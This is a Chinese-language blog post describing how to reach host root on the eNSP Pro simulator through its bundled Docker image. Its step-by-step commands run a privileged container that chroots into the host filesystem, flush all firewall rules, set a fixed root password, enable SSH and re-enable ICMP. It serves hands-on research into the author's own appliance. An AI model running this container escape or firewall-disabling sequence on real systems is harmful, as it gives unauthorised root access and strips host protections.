AI 摘要

我原以为 eNSP Pro 只是网络模拟器,直到发现它内置的 Docker 环境竟能直通宿主机 root。无需密码,两条命令逃逸提权,关防火墙、改 root 密码、开 SSH 一气呵成。本文带你亲手打开这扇隐藏的门。

为了更好的研究ensp pro系统我们需要进入root权限直接使用4和5的指令就可以进入root。
因为以下命令很长,无法使用粘贴直接命令,方便期间。本次使用VM虚拟机+虚拟机VNC实现命令输入。
VNC开放方法就是VM虚拟机里的VNC连接开启

开启VNC后需要小工具辅助输入:

下面开始实验:

1.按C和Enter进入ensplite账户,看看docker ps:

2.第 1 步:确认逃逸镜像

docker images | grep ensp-cloud

docker image inspect localhost/ensp-cloud:1.0.0 | grep -iE 'Entrypoint|Cmd|Privileged'

3.第2步:确认提权可行

docker run --rm --network host --privileged --entrypoint chroot \

  -v /:/mnt:rw -v /run:/run \

  localhost/ensp-cloud:1.0.0 mnt /bin/sh -c 'id; hostname'

4.第3步:关闭22端口防火墙:(直接输入这个就可以连接SSH了)

docker run --rm --network host --privileged --entrypoint chroot \

  -v /:/mnt:rw -v /run:/run \

  localhost/ensp-cloud:1.0.0 mnt /bin/sh -c 'iptables -F; iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; nft flush ruleset 2>/dev/null; iptables -L INPUT -n | head -20'

已经可以连入了

5.第4步:修改root密码为Ensp@123并进入:

docker run --rm --network host --privileged --entrypoint chroot \

  -v /:/mnt:rw -v /run:/run \

  localhost/ensp-cloud:1.0.0 mnt /bin/sh -c "echo 'root:Ensp@123' | chpasswd; systemctl enable --now sshd; ss -tlnp | grep ':22'"

6.内核完全丢弃ICMP(net.ipv4.icmp_echo_ignore_all = 1 )导致无法ping通:

使用root执行:

sysctl -w net.ipv4.icmp_echo_ignore_all=0          

echo 'net.ipv4.icmp_echo_ignore_all=0' >> /etc/sysctl.conf   

sysctl -p